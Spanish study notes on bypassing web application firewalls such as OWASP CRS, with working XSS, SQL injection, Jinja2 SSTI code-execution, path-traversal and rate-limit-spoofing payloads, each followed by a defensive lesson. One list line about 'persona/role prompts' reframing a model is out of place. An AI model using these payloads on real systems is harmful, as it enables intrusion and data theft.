Ataques y defensa

Técnicas de bypass de WAF

#bypass#encoding#owasp-crs#protocol-manipulation#sql-injection#ssti#waf#xss

Contexto: OWASP Core Rule Set (CRS) es la colección de reglas genéricas de detección para WAFs más ampliamente usada. Utiliza principalmente pattern/signature matching con pasos de…

Un WAF bypass significa descubrir un input que permite que una carga maliciosa alcance la aplicación a pesar de las protecciones del WAF. Esto ocurre cuando el WAF y el backend normalizan o parsean el input de forma distinta, o cuando el atacante usa técnicas de encoding que el WAF no contempla.

Contexto: OWASP Core Rule Set (CRS) es la colección de reglas genéricas de detección para WAFs más ampliamente usada. Utiliza principalmente pattern/signature matching con pasos de normalización. Efectivo contra payloads conocidos, pero evadible cuando hay discrepancias de parsing.


Técnica 1 — Explotar versiones desactualizadas del CRS

Bypass conocido en CRS v3.3.5 (XSS)

La versión 3.3.5 del OWASP CRS contiene un bypass para las reglas 941110 y 941160 (detección de script tags, HTML tags y event handlers). La técnica combina eval() + atob() en un anchor tag, con Unicode chars y HTML entities para evadir el matching de reglas como la 941170 (que bloquea el uso de estas funciones y el scheme JavaScript).

Payloads bloqueados por CRS:

<script>alert("xss")</script>
<img src=x onerror=alert("xss")>

Bypass CRS v3.3.5:

<a href=ja&#x0D;vascript&colon;\u0065val(\u0061tob("YWxlcnQoInhzcyIp"))>test</a>

El string Base64 YWxlcnQoInhzcyIp decodifica a alert("xss").

Componentes del bypass:

  • &#x0D; — carriage return HTML entity insertado dentro de “javascript” para romper el matching de regex
  • &colon; — HTML entity en lugar del literal : para evitar detección del scheme javascript:
  • \u0065val — Unicode para eval\u0065 = e
  • \u0061tob — Unicode para atob\u0061 = a

Lección: mantener el WAF actualizado es mantenimiento rutinario de seguridad, no opcional.


Técnica 2 — Explotar configuraciones débiles

Bypass de SQLi por case mismatch en regla personalizada

Ejemplo de regla mal diseñada (solo coincide exactas en mayúsculas y minúsculas):

# Rule 4002: SQL - Only blocks case sensitive SQL keywords
SecRule ARGS "@rx \b(select|union|insert|update|delete|or|and|SELECT|UNION|INSERT|UPDATE|DELETE|OR|AND|1=1|true|TRUE))\b" \
"id:4003,phase:2,t:none,deny,status:403,log,msg:'Case-sensitive SQL keywords blocked'"

Esta regla no aplica transformaciones (t:none), así que solo detecta or/OR exactos. Mixed-case la evade por completo:

# Bloqueado:
' or 1=1--
' OR 1=1--
# Bypass (mixed-case):
' oR tRue--

Lección: cualquier regla con t:none y matching de palabras clave debe cubrir todas las combinaciones de case — o usar t:lowercase antes de la comparación.


Técnica 3 — Signature / Pattern Bypass

Encoding schemes

Los WAFs pueden no normalizar el input antes del pattern matching. Si el WAF hace regex sobre ASCII pero el backend decodifica antes de procesar, el encoding permite el bypass:

Encoding Ejemplo Uso típico
URL-encoding /%2f LFI / path traversal
Hex-encoding _\x5f SSTI bypass
Unicode-encoding %\u0025 XSS bypass
Terminal window
# LFI: bypass de regla que detecta ../ en texto plano
..%2f..%2f..%2fetc/passwd

Mixed-case

Si el WAF realiza matching case-sensitive sin normalizar:

sEleCt * fRoM users
<scrIpT>aLerT(1)</scrIpT>
' UniON sEleCt 1,2,3--

Obfuscación con whitespace y delimitadores

Comentarios SQL como delimitadores para romper el pattern matching:

'/**/UNION/**/SELECT/**/1,2

HTML/JavaScript con carriage returns:

<a/href=j&#x0D;avascript:a&#x0D;lert(1)>aaa</a>

Bypass SSTI con hex-encoding (Jinja2)

La regla bloquea __init__, __globals__, popen, dotted attribute access. La solución: dictionary-style access + hex-encoding total, que el parser Python/Jinja2 decodifica nativamente:

# Payload bloqueado:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
# Bypass con hex-encoding (CyberChef para generar):
{{ self['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('\x69\x64')['\x72\x65\x61\x64']() }}

Verificación local:

python3
import jinja2
jinja2.Template("{{ self['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']...['read']() }}").render()
# Output: 'uid=0(root) gid=0(root) ...'

Técnica 4 — Parsing & Normalization Bypass

HTML Entity Encoding

Regla vulnerable (solo busca <script> en ASCII, sin transformaciones):

SecRule ARGS:text "@contains <script>" \
"id:5003,phase:2,t:none,deny,status:403,log,msg:'ASCII script tag blocked'"

Bypass: el browser decodifica &#97; a a después de que el WAF inspeccionó:

# Decimal encoding del 'a' en "alert":
<img src=x onerror=&#97;lert('XSS_Bypass')>
# Hex encoding de "alert":
<svg onload=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>
# Full decimal:
<body onload=&#97;&#108;&#101;&#114;&#116;(1)>
# Unicode escape:
<img src=x onerror=\u0061lert(1)>
# Mixed encoding:
<svg onload=&#x61;\u006cert(1)>

Blocklist Evasion con comandos alternativos

Regla que bloquea comandos específicos via blocklist:

SecRule ARGS:cmd "@rx (?i)(cat|ls|whoami|id)" \
"id:5005,phase:2,t:none,deny,status:403,log,msg:'ASCII command blocked'"

Comandos alternativos no incluidos en el blocklist:

Terminal window
head secret.txt
tail secret.txt
more secret.txt
tac secret.txt # cat al revés
/bin/ca? secret.txt # wildcard: ? → 't'

Lección: un blocklist nunca puede ser completo. Las allowlists son más seguras.

Content Truncation (Bypass por longitud)

Los WAFs frecuentemente inspeccionan solo los primeros N caracteres del input para mejorar el rendimiento. Si el payload malicioso se posiciona después del límite de inspección, la regla no lo detecta.

# Rule 5006: XSS — solo inspecciona los primeros 50 chars del comentario
SecRule ARGS:comment "@rx ^.{0,49}<script>" \
"id:5006,phase:2,t:none,deny,status:403"
# Rule 5007: SQLi — solo inspecciona los primeros 100 chars del search
SecRule ARGS:search "@rx ^.{0,99}(?:union|select|insert)" \
"id:5007,phase:2,t:none,deny,status:403"
# Rule 5008: LFI — solo inspecciona los primeros 30 chars del path
SecRule ARGS:path "@rx ^.{0,29}\.\./" \
"id:5008,phase:2,t:none,deny,status:403"

Bypasses correspondientes:

# XSS: 50 A's + payload (posición 50 = fuera de rango 0-49)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<script>alert(1)</script>
# SQLi: 100 A's + payload (posición 102 = fuera de rango 0-99)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' union select 1,2,3,4,5--
# LFI: path legítimo de 30+ chars + traversal
templates/././././././././././../../../etc/passwd

Tabla resumen de límites:

Regla Pattern Inspecciona posiciones Posición de bypass
5006 (XSS) ^.{0,49}<script> 0–49 50+
5007 (SQLi) ^.{0,99}(?:union|select|insert) 0–99 100+
5008 (LFI) ^.{0,29}\.\./ 0–29 30+

Regex Logic Errors — Negative Lookahead

Regla con lógica invertida por accidente:

# Intención: bloquear cat/ls EXCEPTO si contiene "admin"
# Bug: cualquiera puede añadir "admin" para bypassear
SecRule ARGS:exec "@rx ^(?!.*admin).*(?:cat|ls).*$" \
"id:5012,phase:2,t:none,deny,status:403,log,msg:'Command blocked unless admin'"
Terminal window
# Bloqueado:
cat /etc/passwd
# Bypass: añadir "admin" en cualquier parte → el lookahead falla → regla no aplica
cat /etc/passwd # admin

Lección: el negative lookahead (?!.*admin) falla cuando “admin” está presente, haciendo que toda la regla no matchee. Nunca validar privilegios por palabras clave en la cadena de comando.

Pattern Splitting con SQL Comments

La regla select.*from.*where puede romperse omitiendo keywords o reordenándolas:

# Bloqueado:
select * from users where id=1
# Bypass 1: comentarios entre keywords (regex puede matchear, pero muestra la debilidad)
select/**/*/**/from/**/users/**/where/**/id=1
# Bypass 2: omitir WHERE (si la app no lo requiere)
select * from users
# Bypass 3: mixed-case + comentarios (combinado)
' uNiOn/**/sElEcT 1,username,email,password,5 fRoM users where id==1--

Parameter Manipulation — Missing Variables

Reglas que solo se activan cuando el parámetro existe:

# Rule 5013: Bloquea si 'dangerous' = "true"
SecRule ARGS:dangerous "@streq true" \
"id:5013,phase:2,t:none,deny,status:403"
# Rule 5014: Bloquea valores admin específicos (case-sensitive)
SecRule ARGS:admin "@rx ^(true|1|yes)$" \
"id:5014,phase:2,t:none,deny,status:403"

Bypasses:

Terminal window
# Omitir el parámetro 'dangerous' → Rule 5013 no aplica
http://TARGET/admin/action?admin=true
# Usar boolean alternativo (app acepta 'on', 'True', 'TRUE', pero la regex solo bloquea 'true'/'1'/'yes')
http://TARGET/admin/action?admin=True
http://TARGET/admin/action?admin=TRUE
http://TARGET/admin/action?admin=on
# Omitir parámetro 'token' → Rule 5016 no valida lo que no existe
http://TARGET/admin/action?admin=on

Técnica 5 — Protocol Manipulation

HTTP Method Switching (POST-only filtering)

Regla que solo inspecciona POST:

SecRule REQUEST_METHOD "@streq POST" \
"id:6001,phase:2,chain,deny,status:403"
SecRule ARGS "@rx \s+OR\s+"

Si la aplicación acepta el mismo parámetro via GET, el payload idéntico no es inspeccionado:

Terminal window
# Bloqueado (POST):
curl -X POST 'http://TARGET/comment/add' -d "search=test' OR 1=1--"
# Bypass (GET — misma carga útil):
curl 'http://TARGET/comment/add?search=test%27%20OR%201=1--'
# Combinado con UNION SQLi + comment obfuscation:
curl -i 'http://TARGET/comment/add?search=x%27%20OR%201=1%20UNION/**/SELECT%20id,username,password,email,1%20FROM%20users--'

X-Forwarded-For para bypass de rate limiting

Aplicaciones que usan X-Forwarded-For como fuente de verdad para el IP del cliente sin validación permiten que el cliente falsifique su IP:

# Código vulnerable:
client_ip = request.headers.get('X-Forwarded-For', request.remote_addr)
if not check_rate_limit(client_ip):
return jsonify({'error': 'Rate limit exceeded'}), 429
Terminal window
# Trigger del rate limit normal (5 req/min):
for i in {1..6}; do curl http://TARGET/api/posts; done
# → 6ª request: 429 Rate limit exceeded
# Bypass: cada request con IP diferente via X-Forwarded-For:
for i in {1..20}; do curl http://TARGET/api/posts -H "X-Forwarded-For: 192.168.1.$i"; done
# → Las 20 requests tienen éxito (cada una parece un IP diferente)

Usos: bypass de rate limits para extracción de datos, brute force sin throttling, evasión de bloqueos por IP.

Métodos HTTP alternativos

Los WAFs pueden no aplicar las mismas reglas a todos los métodos HTTP:

Método Descripción Posible bypass
HEAD Solo devuelve cabeceras Puede tener reglas reducidas vs GET
OPTIONS Devuelve métodos permitidos y CORS Revela estructura de API
PUT / PATCH REST: actualizar recursos Validación diferente a POST
DELETE REST: eliminar recursos Frecuentemente no inspeccionado
TRACE Echo de la request (generalmente deshabilitado) Información de debugging
Terminal window
# Descubrir métodos permitidos:
curl -X OPTIONS 'http://TARGET/' -I
# Allow: GET, OPTIONS, HEAD

Combinando técnicas

La mayor efectividad se obtiene combinando múltiples bypass:

1. Obfuscación de encoding → evita matches de string
2. Persona/role prompts → reenmarca el objetivo del modelo
3. Method switching → evita reglas method-specific
4. Padding/truncación → empuja el payload fuera del rango de inspección
5. Negative lookahead abuse → anula la regla por presencia de keyword permitido

Conclusión

Los WAFs que dependen exclusivamente de firmas y reglas estáticas son susceptibles a evasión mediante: encoding tricks, manipulación de case, obfuscación con whitespace, truncación de contenido, inconsistencias de normalización y manipulación a nivel de protocolo. La defensa más robusta combina WAF bien configurado + código seguro + principio de least privilege + defensa en profundidad.


Ver también

Título original en mis apuntes: WAF Bypass Techniques